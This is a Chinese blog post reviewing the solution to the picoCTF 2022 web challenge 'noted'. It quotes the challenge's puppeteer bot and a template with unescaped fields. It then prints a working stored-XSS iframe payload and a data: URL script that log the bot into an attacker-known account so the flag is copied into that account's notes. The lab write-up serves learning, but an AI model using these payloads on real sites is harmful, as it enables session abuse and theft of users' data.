picoCTF-2022-复盘
Created At :
Views 👀 :
WEB
noted
题目给的是一个备忘录网站,创建用户后即可创建备忘录条目,同时还实现了一个bot,即用户提交网站后会被服务器端用chrome打开并访问。可以注意到,每一次在/repot
提交url时,服务器都会先随机注册一个账号然后提交flag到备忘录,随后再访问用户提交的url。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25
| let page = (await browser.pages())[0]
await page.goto('http://0.0.0.0:8080/register'); await page.type('[name="username"]', crypto.randomBytes(8).toString('hex')); await page.type('[name="password"]', crypto.randomBytes(8).toString('hex'));
await Promise.all([ page.click('[type="submit"]'), page.waitForNavigation({ waituntil: 'domcontentloaded' }) ]);
await page.goto('http://0.0.0.0:8080/new'); await page.type('[name="title"]', 'flag'); await page.type('[name="content"]', process.env.FLAG ?? 'ctf{flag}');
await Promise.all([ page.click('[type="submit"]'), page.waitForNavigation({ waituntil: 'domcontentloaded' }) ]);
await page.goto('about:blank') await page.goto(url); await page.waitForTimeout(7500);
await browser.close();
|
这里的bot是基于puppeteer实现的,页面访问使用的是page.goto
,page.goto(url[, options])
这个方法不仅可以直接类似于http://这类链接,而且还可以使用伪协议,类似于page.goto(data:text/html,自定义内容),那么我们就可以在这里动手,直接让服务器把flag发送到我们自己的vps是。但是,答案是否定的,因为服务器端的账户并不能访问外网,这个方法是行不通的。
我们继续看一下views文件夹下的.ejs模板文件:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27
| <!DOCTYPE html> <html> <head> <meta charset="utf-8"> <meta name="viewport" content="width=device-width, initial-scale=1"> <title>noted | my notes</title> <%- include('style') %> </head> <body> <h1>My Notes</h1> <hr> <% for (let note of notes) { %> <div> <h2><%- note.title %></h2> <p><%- note.content %></p> <form action="/delete" method="POST"> <input type="hidden" name="_csrf" value="<%- csrf %>"> <input type="hidden" name="id" value="<%- note.id %>"> <input type="submit" value="Delete"> </form> </div> <hr> <% } %> <br> <a href='/new'>New Note</a> | <a href='/report'>Report</a> </body> </html>
|
模板中note.title和note.content都是直接填充,也就是说这里是存在存储型xss的。所以就可以让服务器登录我们已知密码的账号,然后将flag提交到已知密码账号的备忘录中,随后我们登录该账号即可获取到flag。攻击流程如下图:
首先现在/register
页面注册账户:账号为a密码为a,然后提交以下self-XSS内容到/new
页面
1 2 3 4 5 6 7 8 9 10
| <iframe src="http://0.0.0.0:8080/new" id=ifra></iframe> <script> var flag = window.opener.document.body.textContent; ifra.onload = () => { ifra.onload = null; ifra.contentDocument.forms[0].title.value = 'flag'; ifra.contentDocument.forms[0].content.value = flag; ifra.contentDocument.forms[0].submit(); } </script>
|
接着提交如下内容到/report
1 2 3 4 5 6 7 8
| data:text/html, <script> window.location = "http://0.0.0.0:8080/notes"; a = window.open('', ''); a.document.body.innerHTML = `<form action="http://0.0.0.0:8080/login" method="post" name=xp id=xp target="_blank"><input type="text" name="username" value="a"><input type="text" name="password" value="a"></form>`; a.document.xp.submit(); a.location.href = "http://0.0.0.0:8080/notes"; </script>
|
提交后等待几秒后再次访问已知密码的账户的/notes
页面即可获取到flag
转载请注明来源,欢迎对文章中的引用来源进行考证,欢迎指出任何有错误或不够清晰的表达。可以在下面评论区评论,也可以邮件至 hututu1024@126.com